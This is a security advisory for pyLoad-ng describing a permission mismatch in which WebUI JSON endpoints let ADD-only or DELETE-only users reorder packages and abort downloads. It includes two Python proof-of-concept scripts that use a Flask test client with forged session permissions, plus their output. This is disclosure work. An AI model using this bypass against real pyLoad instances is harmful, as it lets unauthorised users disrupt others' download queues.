PT-2026-59621 · Pypi · Pyload-Ng
Published
2026-07-13
·
Updated
2026-07-13
CVSS v3.1
5.4
Medium
| Vector | AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L |
Summary
Several WebUI JSON endpoints enforce weaker permissions than the core API methods they invoke. This allows authenticated low-privileged users to execute
MODIFY operations that should be denied by pyLoad's own permission model.Confirmed mismatches:
ADDuser can reorder packages/files (order package,order file) via/json/package orderand/json/link orderDELETEuser can abort downloads (stop downloads) via/json/abort link
Details
pyLoad defines granular permissions in core API:
order packagerequiresPerms.MODIFY(src/pyload/core/api/ init .py:1125)order filerequiresPerms.MODIFY(src/pyload/core/api/ init .py:1137)stop downloadsrequiresPerms.MODIFY(src/pyload/core/api/ init .py:1046)
But WebUI JSON routes use weaker checks:
/json/package orderuses@login required("ADD")then callsapi.order package(...)(src/pyload/webui/app/blueprints/json blueprint.py:109-117)/json/link orderuses@login required("ADD")then callsapi.order file(...)(src/pyload/webui/app/blueprints/json blueprint.py:137-145)/json/abort linkuses@login required("DELETE")then callsapi.stop downloads(...)(src/pyload/webui/app/blueprints/json blueprint.py:123-131)
Why this is likely unintended (not just convenience):
- The same JSON blueprint correctly protects other edit actions with
MODIFY: /json/move package->@login required("MODIFY")(json blueprint.py:188-196)/json/edit package->@login required("MODIFY")(json blueprint.py:202-217)- The project UI exposes granular per-user permission assignment (
settings.html:184-190), implying these boundaries are intended security controls.
PoC
Environment:
- Repository version:
0.5.0b3(VERSIONfile) - Commit tested:
ddc53b3d7
PoC A (ADD-only user invokes MODIFY-only reorder):
python
import os
import sys
from types import SimpleNamespace
sys.path.insert(0, os.path.abspath('src'))
from flask import Flask
from pyload.core.api import Api, Perms, Role
from pyload.webui.app.blueprints import json blueprint
class FakeApi:
def init (self):
self.calls = []
def user exists(self, username):
return username == 'attacker'
def order package(self, pack id, pos):
self.calls.append(('order package', int(pack id), int(pos)))
def order file(self, file id, pos):
self.calls.append(('order file', int(file id), int(pos)))
api = Api(SimpleNamespace( =lambda x: x))
ctx = {'role': Role.USER, 'permission': Perms.ADD}
print('API auth (ADD-only) order package:', api.is authorized('order package', ctx))
print('API auth (ADD-only) order file:', api.is authorized('order file', ctx))
app = Flask( name )
app.secret key = 'k'
app.config['TESTING'] = True
app.config['WTF CSRF ENABLED'] = False
f = FakeApi()
app.config['PYLOAD API'] = f
app.register blueprint(json blueprint.bp)
with app.test client() as c:
with c.session transaction() as s:
s['authenticated'] = True
s['name'] = 'attacker'
s['role'] = int(Role.USER)
s['perms'] = int(Perms.ADD)
r1 = c.post('/json/package order', json={'pack id': 5, 'pos': 0})
r2 = c.post('/json/link order', json={'file id': 77, 'pos': 1})
print('HTTP /json/package order:', r1.status code, r1.get data(as text=True).strip())
print('HTTP /json/link order:', r2.status code, r2.get data(as text=True).strip())
print('calls:', f.calls)Observed output:
text
API auth (ADD-only) order package: False
API auth (ADD-only) order file: False
HTTP /json/package order: 200 {"response":"success"}
HTTP /json/link order: 200 {"response":"success"}
calls: [('order package', 5, 0), ('order file', 77, 1)]PoC B (DELETE-only user invokes MODIFY-only stop downloads):
python
import os
import sys
from types import SimpleNamespace
sys.path.insert(0, os.path.abspath('src'))
from flask import Flask
from pyload.core.api import Api, Perms, Role
from pyload.webui.app.blueprints import json blueprint
class FakeApi:
def init (self):
self.calls = []
def user exists(self, username):
return username == 'u'
def stop downloads(self, ids):
self.calls.append(('stop downloads', ids))
api = Api(SimpleNamespace( =lambda x: x))
ctx = {'role': Role.USER, 'permission': Perms.DELETE}
print('API auth (DELETE-only) stop downloads:', api.is authorized('stop downloads', ctx))
app = Flask( name )
app.secret key = 'k'
app.config['TESTING'] = True
app.config['WTF CSRF ENABLED'] = False
f = FakeApi()
app.config['PYLOAD API'] = f
app.register blueprint(json blueprint.bp)
with app.test client() as c:
with c.session transaction() as s:
s['authenticated'] = True
s['name'] = 'u'
s['role'] = int(Role.USER)
s['perms'] = int(Perms.DELETE)
r = c.post('/json/abort link', json={'link id': 999})
print('HTTP /json/abort link:', r.status code, r.get data(as text=True).strip())
print('calls:', f.calls)Observed output:
text
API auth (DELETE-only) stop downloads: False
HTTP /json/abort link: 200 {"response":"success"}
calls: [('stop downloads', [999])]Impact
Type:
- Improper authorization / permission-bypass between WebUI and core API permission model.
Scope:
- Horizontal privilege escalation among authenticated non-admin users.
- Not admin takeover, but unauthorized execution of operations explicitly categorized as
MODIFY.
Security impact:
- Integrity impact: unauthorized queue/file reordering by users lacking
MODIFY. - Availability impact: unauthorized abort of active downloads by users lacking
MODIFY.
Fix
Found an issue in the description? Have something to add? Feel free to write us 👾
Related Identifiers
Affected Products
Pyload-Ng